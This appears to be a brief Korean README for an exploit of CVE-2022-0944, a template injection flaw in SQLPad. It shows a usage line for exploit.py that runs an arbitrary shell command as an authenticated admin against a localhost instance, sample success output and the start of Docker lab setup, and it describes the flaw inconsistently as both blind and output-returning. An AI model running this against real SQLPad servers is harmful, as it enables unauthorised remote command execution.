CVE-2022-0944

CVE-2022-0944 SQLPad - 템플릿 주입 이는 블라인드 취약점으로, 출력이 응답에 직접 반환됨을 의미합니다. 익스플로잇 다음 명령으로 스크립트를 사용하세요: python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin --password password 출력 Login was successfull Exploited! 테스트 환경 Docker 사용: Docker 컨테이너 시작 - sudo docker run -...